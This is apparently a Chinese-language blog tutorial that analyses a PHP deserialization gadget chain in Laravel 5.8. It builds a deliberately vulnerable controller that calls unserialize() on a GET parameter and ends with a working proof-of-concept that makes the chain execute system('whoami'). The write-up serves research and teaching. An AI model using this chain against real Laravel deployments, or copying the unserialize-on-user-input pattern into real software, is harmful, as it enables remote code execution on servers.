Contents
前言
laravel也是php主要流行的框架之一,值得挖掘。
环境配置
这里使用composer来安装
首先一定要先换成阿里云源:
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
然后安装指令:
composer create-project --prefer-dist laravel/laravel laravel5.8 "5.8.*"
然后访问public目录,页面回显如下代表安装成功:
在/routes/web.php文件中添加一条路由:
Route::get("/","\App\Http\Controllers\DemoController@demo");
并且将原来的路由注释掉:
/*
Route::get('/', function () {
return view('welcome');
});
*/
在/app/Http/Controllers/下添加DemoController控制器:
<?php
namespace App\Http\Controllers;
class DemoController extends Controller
{
public function demo()
{
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
}
}
刷新public界面即为刚刚所自定义的页面:
目的:假设现实中在入口文件中存在直接反序列化点,且参数可控unserialize($_GET['c']);
POP链构造
寻找__destruct方法
关注Illuminate\Broadcasting\PendingBroadcast::__destruct()
通过控制events
参数可以调用任意类的dispatch
方法,所以先寻找可以利用的该方法。
发现Illuminate\Bus\Dispatcher::dispatch()
可利用。
跟进dispatch方法
public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
return $this->dispatchNow($command);
}
如果可以满足第一个if条件,则可以调用dispatchToQueue
方法,跟进该方法。
跟进dispatchToQueue方法
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
if (! $queue instanceof Queue) {
throw new RuntimeException('Queue resolver did not return a Queue implementation.');
}
if (method_exists($command, 'queue')) {
return $command->queue($queue, $command);
}
return $this->pushCommandToQueue($queue, $command);
}
存在call_user_func
函数,可以调用任意方法。
那么只需要让前面的dispatch
方法中if判断为真即可进入dispatchToQueue
方法。
$this->queueResolver可控,只需让它为true即可,接着跟进commandShouldBeQueued
方法。
跟进commandShouldBeQueued方法
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}
该方法中要返回真,只需要让$command
,也即PendingBroadcast
类中的$this->event是一个继承于ShouldQueue
接口的类即可。
可以利用find usage找一个继承ShouldQueue
接口的类,例如BroadcastEvent
类:
至此POP链构造完成,可以实现调用任意方法。
总结一下涉及到的类和接口:
1、Illuminate\Broadcasting\PendingBroadcast
对应的方法为__destruct()
2、Illuminate\Bus\Dispatcher
对应的方法为dispatch()
3、Illuminate\Broadcasting\BroadcastEvent
用于继承ShouldQueue
接口
涉及到的变量:
1、 PendingBroadcast
类中的event
和events
,前者用于继承ShouldQueue
接口,后者用于实例化一个Dispatcher
对象。
2、Dispatcher
类中的queueResolver
,用于想要执行的函数名。
3、BroadcastEvent
类新创建一个变量connection
,用于想要执行函数的参数。
POP预览流程
借用Somnus师傅的图:
POC代码
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events="",$event="")
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver = "system";
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection = "whoami";
}
}
namespace{
$d = new Illuminate\Bus\Dispatcher();
$b = new Illuminate\Broadcasting\BroadcastEvent();
$p = new Illuminate\Broadcasting\PendingBroadcast($d,$b);
echo urlencode(serialize($p));
}
?>
结果: